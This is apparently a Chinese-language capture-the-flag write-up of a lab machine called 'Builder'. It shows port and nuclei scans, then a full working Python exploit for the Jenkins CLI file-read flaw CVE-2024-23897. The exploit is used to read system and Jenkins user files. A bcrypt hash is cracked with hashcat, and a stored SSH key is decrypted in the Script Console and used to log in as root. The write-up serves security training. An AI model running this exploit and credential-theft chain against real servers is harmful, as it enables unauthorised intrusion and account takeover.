Builder

1
2
3
4
5
ip a

10.129.230.220

TARGET="10.129.230.220"

01.信息搜集

靶机发现

目标靶机 ip 为 

1
2
3
4
5
6
fscan -h $TARGET > fscan.log

22
8080

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

两个 http 一个 mqtt 服务

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo nmap -sT -sV -sC -O -p 22,8080 $TARGET -oA nmapscan/detail

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-server-header: Jetty(10.0.18)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/

sudo nmap -Pn -sV -A -p 445 -T4 $TARGET

UDP 扫描

1
sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp
1

03.渗透测试

web-Jenkins服务 2.441
用户jennifer
system root SSH Username with private key

没看到什么交互 cve看看

创建目标列表

1
echo "http://10.129.230.220:8080" > ./scans/live-urls.txt

Nuclei 指纹定向扫描

1
2
3
4
5
6
7
8
nuclei -disable-update-check \
  -l ./scans/live-urls.txt \
  -t /Users/choco/Project/HackTool/templates/nuclei-templates/ \
  -t /Users/choco/Project/HackTool/templates/community/ \
  -tags jenkins \
  -severity critical,high,medium \
  -o ./scans/nuclei-tech-results.txt \
  -jsonl -j ./scans/nuclei-results.jsonl

Nuclei 全量扫描

1
2
3
4
5
6
7
nuclei -disable-update-check \
  -l ./scans/live-urls.txt \
  -t /Users/choco/Project/HackTool/templates/nuclei-templates/ \
  -t /Users/choco/Project/HackTool/templates/community/ \
  -severity critical,high,medium \
  -o ./scans/nuclei-results.txt \
  -jsonl -j ./scans/nuclei-results.jsonl

命中 CVE 提取

1
2
3
grep -oE 'CVE-\d{4}-\d+' ./scans/nuclei-results.txt | sort -u > ./scans/hit-cves.txt
CVE-2024-23897
CVE-2024-43044

查找 PoC

1
2
3
4
5
6
7
while read cve; do
    echo ">>> 处理 $cve"
    /Users/choco/Project/HackTool/tools/cve-find.sh "$cve"
done < ./scans/hit-cves.txt

/Users/choco/Project/HackTool/templates/community/nuclei_poc/poc/cve/CVE-2025-23897.yaml
/Users/choco/Project/HackTool/templates/community/nuclei_poc/poc/cve/CVE-2024-43044_1.yaml

一个个看吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
id: CVE-2025-23897

info:
  name: >
    Apply with LinkedIn buttons <= 2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
  author: topscoder
  severity: low
  description: >
    The Apply with LinkedIn buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected 
    
page.
  reference:
    - https://github.com/topscoder/nuclei-wordfence-cve
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/fd204edd-375e-437d-9964-bbf3b8abeab8?source=api-prod
  metadata:
    fofa-query: "wp-content/plugins/apply-with-linkedin-buttons/"
    google-query: inurl:"/wp-content/plugins/apply-with-linkedin-buttons/"
    shodan-query: 'vuln:CVE-2025-23897'
  tags: cve,wordpress,wp-plugin,apply-with-linkedin-buttons,low

http:
  - method: GET
    redirects: true
    max-redirects: 3
    path:
      - "{{BaseURL}}/wp-content/plugins/apply-with-linkedin-buttons/readme.txt"
      

/Users/choco/Project/HackTool/exploits/exploitdb/exploits/java/webapps/51993.py
parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")
parser.add_argument("-p", "--path", help="The absolute path of the file to download")

下一个 /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python 1.py -u http://10.129.230.220:8080
> /etc/hosts

File to download:
> robots.txt
File not found.

File to download:
> /var/www/html/robots.txt
File not found.

File to download:
> /../../../../../../../etc/shadow
Could not read file.

读哪去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
"""
CVE-2024-23897 — Jenkins CLI arbitrary file read
Exploit Author: Matisse Beckandt (Backendt)
Optimized: sync I/O, stable output, interactive + one-shot
"""
import re
import sys
import threading
import time
from argparse import ArgumentParser
from uuid import uuid4
import requests


def make_path_absolute(filepath: str) -> str:
    if not filepath.startswith("/"):
        return f"/proc/self/cwd/{filepath}"
    return filepath


def build_payload(filepath: str) -> bytes:
    def msg(op: int, text: str) -> bytes:
        tb = text.encode()
        size = len(tb) + 2
        return size.to_bytes(4) + op.to_bytes(1) + len(tb).to_bytes(2) + tb

    return msg(0, "connect-node") + msg(0, f"@{filepath}") + b"\x03"


def read_file(url: str, filepath: str, timeout: int = 10) -> str:
    """download 先就绪 → upload 发 payload → 收 download 结果"""
    uid = str(uuid4())
    params = {"remoting": "false"}
    payload = build_payload(filepath)
    result_container: list = []

    def do_download():
        try:
            r = requests.post(
                url,
                params=params,
                headers={"Side": "download", "Session": uid},
                stream=True,
                timeout=timeout,
            )
            # stream 模式：累加 chunk，Jenkins 关连接时会抛异常，数据已拿到
            chunks = []
            try:
                for chunk in r.iter_content(chunk_size=4096):
                    if chunk:
                        chunks.append(chunk)
            except requests.exceptions.ConnectionError:
                pass
            result_container.append(b"".join(chunks).decode("utf-8", errors="replace"))
        except Exception as e:
            result_container.append(f"[!] download error: {e}")

    # 1. 启动 download 线程（先就绪）
    t = threading.Thread(target=do_download)
    t.start()
    time.sleep(0.3)

    # 2. 发送 upload payload
    try:
        requests.post(
            url,
            params=params,
            headers={"Side": "upload", "Session": uid},
            data=payload,
            timeout=timeout,
        )
    except requests.exceptions.ConnectionError:
        pass  # upload 也可能被 Jenkins 断连，正常

    # 3. 等 download 收完
    t.join(timeout=timeout)

    return result_container[0] if result_container else "[!] no response"


def parse_output(raw: str) -> list[str]:
    if "ERROR: No such file" in raw:
        return ["[!] File not found"]
    if "ERROR: Failed to parse" in raw:
        return ["[!] Could not read file (permission denied or binary)"]

    lines = re.findall(r'No such agent "(.*)" exists\.', raw)
    return lines if lines else [f"[?] No parsed output — raw:\n{raw[:500]}"]


def main():
    parser = ArgumentParser(description="CVE-2024-23897 Jenkins LFI")
    parser.add_argument("-u", "--url", required=True, help="Jenkins base URL")
    parser.add_argument("-p", "--path", help="File path on server (skip for interactive)")
    parser.add_argument("--raw", action="store_true", help="Print raw response")
    args = parser.parse_args()

    url = args.url.rstrip("/") + "/cli"

    if args.path:
        filepath = make_path_absolute(args.path)
        print(f"[*] Reading: {filepath}")
        raw = read_file(url, filepath)
        if args.raw:
            print(raw)
        else:
            for line in parse_output(raw):
                print(line)
        return

    print("Interactive mode — Press Ctrl+C to exit")
    while True:
        try:
            path = input("> ").strip()
            if not path:
                continue
            filepath = make_path_absolute(path)
            print(f"[*] {filepath}")
            raw = read_file(url, filepath)
            for line in parse_output(raw):
                print(line)
        except KeyboardInterrupt:
            print("\nQuit")
            break


if __name__ == "__main__":
    main()

修了一下可以了

1
2
3
4
5
[*] Reading: /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
...
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash

然后读一下 jenkins 的网页信息

1
2
3
4
5
6
7
Jenkins 启动之后，会默认的在/root 目录下生成一个.Jenkins 的目录，这个就是 Jenkins 的家目录

[root@xdjenkins] .jenkins $ll
-rw-------  1 root root 11344 Apr 17 16:50 config.xml
...
drwxr-xr-x 12 root root   181 Apr 17 19:45 users

要获取 Jenkins 的安装路径，因为里面存放了用户配置和密码哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
[*] Reading: /proc/self/environ
HOSTNAME=0f52c222a4cc
JENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimental
JAVA_HOME=/opt/java/openjdk
JENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementals
COPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.log
PWD=/JENKINS_SLAVE_AGENT_PORT=50000
JENKINS_VERSION=2.441
HOME=/var/jenkins_home
LANG=C.UTF-8
JENKINS_UC=https://updates.jenkins.ioSHLVL=0
JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/ref
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

HOSTNAME=0f52c222a4cc 是一串随机字符，说明 Jenkins 很可能运行在 Docker 容器里，而不是直接在宿主机上。
JAVA_HOME=/opt/java/openjdk
HOME=/var/jenkins_home

读一下 config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
python 1.py -u http://10.129.230.220:8080 -p 

/var/jenkins_home/.jenkins/config.xml

  <primaryView>all</primaryView>
  <label></label>
  <clouds/>
  <disabledAdministrativeMonitors/>
  </authorizationStrategy>
<hudson>
    <excludeClientIPFromCrumb>false</excludeClientIPFromCrumb>
    </hudson.model.AllView>
  </crumbIssuer>
  <disableRememberMe>false</disableRememberMe>
  <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
  <viewsTabBar class="hudson.views.DefaultViewsTabBar"/>
</hudson>
  <numExecutors>2</numExecutors>
    <disableSignup>true</disableSignup>
      <properties class="hudson.model.View$PropertyList"/>
  </views>
  <globalNodeProperties/>
    <enableCaptcha>false</enableCaptcha>
  <workspaceDir>${JENKINS_HOME}/workspace/${ITEM_FULL_NAME}</workspaceDir>
    <denyAnonymousReadAccess>false</denyAnonymousReadAccess>
  <scmCheckoutRetryCount>0</scmCheckoutRetryCount>
<?xml version='1.1' encoding='UTF-8'?>
  </securityRealm>
  <projectNamingStrategy class="jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy"/>
  <crumbIssuer class="hudson.security.csrf.DefaultCrumbIssuer">
      <name>all</name>
  <nodeProperties/>
  <views>
  <slaveAgentPort>50000</slaveAgentPort>
  <useSecurity>true</useSecurity>
  <buildsDir>${ITEM_ROOTDIR}/builds</buildsDir>
  <jdks/>
  <version>2.441</version>
      <owner class="hudson" reference="../../.."/>
  <nodeRenameMigrationNeeded>false</nodeRenameMigrationNeeded>
      <filterExecutors>false</filterExecutors>
      <filterQueue>false</filterQueue>
  <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
  <myViewsTabBar class="hudson.views.DefaultMyViewsTabBar"/>
    <hudson.model.AllView>
  <mode>NORMAL</mode>
1
2
3
4
5
<denyAnonymousReadAccess>false</denyAnonymousReadAccess>
# 它明确允许未认证（匿名）用户读取 Jenkins 的数据

<authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
# 一旦用户登录，就拥有完全控制权（相当于管理员）

找用户 /var/jenkins_home/users/users.xml

1
2
3
4
python 1.py -u http://10.129.230.220:8080 -p /var/jenkins_home/users/users.xml
[*] Reading: /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
      <string>jennifer_12108429903186576833

继续读用户的账号密码 /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

1
2
3
4
<fullName>jennifer</fullName>
     <seed>6841d11dc1de101d</seed>
 <id>jennifer</id>
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

这就是 jennifer 的密码哈希（bcrypt 格式）

解哈希

1
2
3
4
5
6
#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a

hashcat -m 3200 hash.txt wordlists/rockyou.txt

$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess
场景 hashcat 模式 示例格式
NTLM -m 1000 aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
NTLMv2 (Net-NTLMv2) -m 5600 DOMAIN\USER::SERVER:CHALLENGE:RESPONSE:...
Kerberos 5 TGS-REP (AES256) -m 19700 $krb5tgs$18$...
Kerberos 5 TGS-REP (RC4) -m 13100 $krb5tgs$23$...
Kerberos 5 AS-REP (RC4) -m 18200 $krb5asrep$23$...
MSSQL (2012+) -m 1731 0x0200...
MSSQL (2000) -m 132 0x0100...
MySQL4.1/MySQL5 -m 300 *FCE8...
SHA256 -m 1400 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
SHA512 -m 1700 64位十六进制
MD5 -m 0 5f4dcc3b5aa765d61d8327deb882cf99
bcrypt / Blowfish -m 3200 $2a$10$...
Linux shadow SHA512crypt -m 1800 $6$rounds=5000$...
Office 2013 (SHA1) -m 9600 用于破解加密的 Excel/Word
ZIP 加密 -m 17220 / -m 17225 取决于 ZIP 版本
PDF -m 10500 / -m 10600 取决于 PDF 版本

读到密码: princess

web 登录成功

前面 config.xml 可知 jennifer 权限非常高(也只有她一个人在运维)

看着能读 root 的东西
http://10.129.230.220:8080/manage/

-> Manage Jenkins -> Credentials -> Stores scoped to Jenkins

拿到私钥

1
{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb8lUYkf/XSuDhR5tIpVWwkk7l1FTYwQQl/i5MOTww3b1QNzIAIv41KLKDgsq4WUAS5RBt4OZ7v410VZgdVDDciihmdDmqdsiGUOFubePU9a4tQoED2uUHAWbPlduIXaAfDs77evLh98/INI8o/A+rlX6ehT0K40cD3NBEF/4Adl6BOQ/NSWquI5xTmmEBi3NqpWWttJl1q9soOzFV0C4mhQiGIYr8TPDbpdRfsgjGNKTzIpjPPmRr+j5ym5noOP/LVw09+AoEYvzrVKlN7MWYOoUSqD+C9iXGxTgxSLWdIeCALzz9GHuN7a1tYIClFHT1WQpa42EqfqcoB12dkP74EQ8JL4RrxgjgEVeD4stcmtUOFqXU/gezb/oh0Rko9tumajwLpQrLxbAycC6xgOuk/leKf1gkDOEmraO7uiy2QBIihQbMKt5Ls+l+FLlqlcY4lPD+3Qwki5UfNHxQckFVWJQA0zfGvkRpyew2K6OSoLjpnSrwUWCx/hMGtvvoHApudWsGz4esi3kfkJ+I/j4MbLCakYjfDRLVtrHXgzWkZG/Ao+7qFdcQbimVgROrncCwy1dwU5wtUEeyTlFRbjxXtIwrYIx94+0thX8n74WI1HO/3rix6a4FcUROyjRE9m//dGnigKtdFdIjqkGkK0PNCFpcgw9KcafUyLe4lXksAjf/MU4v1yqbhX0Fl4Q3u2IWTKl+xv2FUUmXxOEzAQ2KtXvcyQLA9BXmqC0VWKNpqw1GAfQWKPen8g/zYT7TFA9kpYlAzjsf6Lrk4Cflaa9xR7l4pSgvBJYOeuQ8x2Xfh+AitJ6AMO7K8o36iwQVZ8+p/I7IGPDQHHMZvobRBZ92QGPcq0BDqUpPQqmRMZc3wN63vCMxzABeqqg9QO2J6jqlKUgpuzHD27L9REOfYbsi/uM3ELI7NdO90DmrBNp2y0AmOBxOc9e9OrOoc+Tx2K0JlEPIJSCBBOm0kMr5H4EXQsu9CvTSb/Gd3xmrk+rCFJx3UJ6yzjcmAHBNIolWvSxSi7wZrQl4OWuxagsG10YbxHzjqgoKTaOVSv0mtiiltO/NSOrucozJFUCp7p8v73ywR6tTuR6kmyTGjhKqAKoybMWq4geDOM/6nMTJP1Z9mA+778Wgc7EYpwJQlmKnrk0bfO8rEdhrrJoJ7a4No2FDridFt68HNqAATBnoZrlCzELhvCicvLgNur+ZhjEqDnsIW94bL5hRWANdV4YzBtFxCW29LJ6/LtTSw9LE2to3i1sexiLP8y9FxamoWPWRDxgn9lv9ktcoMhmA72icQAFfWNSpieB8Y7TQOYBhcxpS2M3mRJtzUbe4Wx+MjrJLbZSsf/Z1bxETbd4dh4ub7QWNcVxLZWPvTGix+JClnn/oiMeFHOFazmYLjJG6pTUstU6PJXu3t4Yktg8Z6tk8ev9QVoPNq/XmZY2h5MgCoc/T0D6iRR2X249+9lTU5Ppm8BvnNHAQ31Pzx178G3IO+ziC2DfTcT++SAUS/VR9T3TnBeMQFsv9GKlYjvgKTd6Rx+oX+D2sN1WKWHLp85g6DsufByTC3o/OZGSnjUmDpMAs6wg0Z3bYcxzrTcj9pnR3jcywwPCGkjpS03ZmEDtuU0XUthrs7EZzqCxELqf9aQWbpUswN8nVLPzqAGbBMQQJHPmS4FSjHXvgFHNtWjeg0yRgf7cVaD0aQXDzTZeWm3dcLomYJe2xfrKNLkbA/t3le35+bHOSe/p7PrbvOv/jlxBenvQY+2GGoCHs7SWOoaYjGNd7QXUomZxK6l7vmwGoJi+R/D+ujAB1/5JcrH8fI0mP8Z+ZoJrziMF2bhpR1vcOSiDq0+Bpk7yb8AIikCDOW5XlXqnX7C+I6mNOnyGtuanEhiJSFVqQ3R+MrGbMwRzzQmtfQ5G34m67Gvzl1IQMHyQvwFeFtx4GHRlmlQGBXEGLz6H1Vi5jPuM2AVNMCNCak45l/9PltdJrz+Uq/d+LXcnYfKagEN39ekTPpkQrCV+P0S65y4l1VFE1mX45CR4QvxalZA4qjJqTnZP4s/YD1Ix+XfcJDpKpksvCnN5/ubVJzBKLEHSOoKwiyNHEwdkD9j8Dg9y88G8xrc7jr+ZcZtHSJRlK1o+VaeNOSeQut3iZjmpy0Ko1ZiC8gFsVJg8nWLCat10cp+xTy+fJ1VyIMHxUWrZu+duVApFYpl6ji8A4bUxkroMMgyPdQU8rjJwhMGEP7TcWQ4Uw2s6xoQ7nRGOUuLH4QflOqzC6ref7n33gsz18XASxjBg6eUIw9Z9s5lZyDH1SZO4jI25B+GgZjbe7UYoAX13MnVMstYKOxKnaig2Rnbl9NsGgnVuTDlAgSO2pclPnxj1gCBS+bsxewgm6cNR18/ZT4ZT+YT1+uk5Q3O4tBF6z/M67mRdQqQqWRfgA5x0AEJvAEb2dftvR98ho8cRMVw/0S3T60reiB/OoYrt/IhWOcvIoo4M92eo5CduZnajt4onOCTC13kMqTwdqC36cDxuX5aDD0Ee92ODaaLxTfZ1Id4ukCrscaoOZtCMxncK9uv06kWpYZPMUasVQLEdDW+DixC2EnXT56IELG5xj3/1nqnieMhavTt5yipvfNJfbFMqjHjHBlDY/MCkU89l6p/xk6JMH+9SWaFlTkjwshZDA/oO/E9Pump5GkqMIw3V/7O1fRO/dR/Rq3RdCtmdb3bWQKIxdYSBlXgBLnVC7O90Tf12P0+DMQ1UrT7PcGF22dqAe6VfTH8wFqmDqidhEdKiZYIFfOhe9+u3O0XPZldMzaSLjj8ZZy5hGCPaRS613b7MZ8JjqaFGWZUzurecXUiXiUg0M9/1WyECyRq6FcfZtza+q5t94IPnyPTqmUYTmZ9wZgmhoxUjWm2AenjkkRDzIEhzyXRiX4/vD0QTWfYFryunYPSrGzIp3FhIOcxqmlJQ2SgsgTStzFZz47Yj/ZV61DMdr95eCo+bkfdijnBa5SsGRUdjafeU5hqZM1vTxRLU1G7Rr/yxmmA5mAHGeIXHTWRHYSWn9gonoSBFAAXvj0bZjTeNBAmU8eh6RI6pdapVLeQ0tEiwOu4vB/7mgxJrVfFWbN6w8AMrJBdrFzjENnvcq0qmmNugMAIict6hK48438fb+BX+E3y8YUN+LnbLsoxTRVFH/NFpuaw+iZvUPm0hDfdxD9JIL6FFpaodsmlksTPz366bcOcNONXSxuD0fJ5+WVvReTFdi+agF+sF2jkOhGTjc7pGAg2zl10O84PzXW1TkN2yD9YHgo9xYa8E2k6pYSpVxxYlRogfz9exupYVievBPkQnKo1Qoi15+eunzHKrxm3WQssFMcYCdYHlJtWCbgrKChsFys4oUE7iW0YQ0MsAdcg/hWuBX878aR+/3HsHaB1OTIcTxtaaMR8IMMaKSM=}

去解密 注意别有换行
-> Manage Jenkins -> Tools and Actions -> Script Console

1
println(hudson.util.Secret.decrypt("{AQAABAAAAOWLrFcrZx9ba...}"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

感觉 root 了

1
2
chmod 600 root_key
ssh -i root_key root@10.129.230.220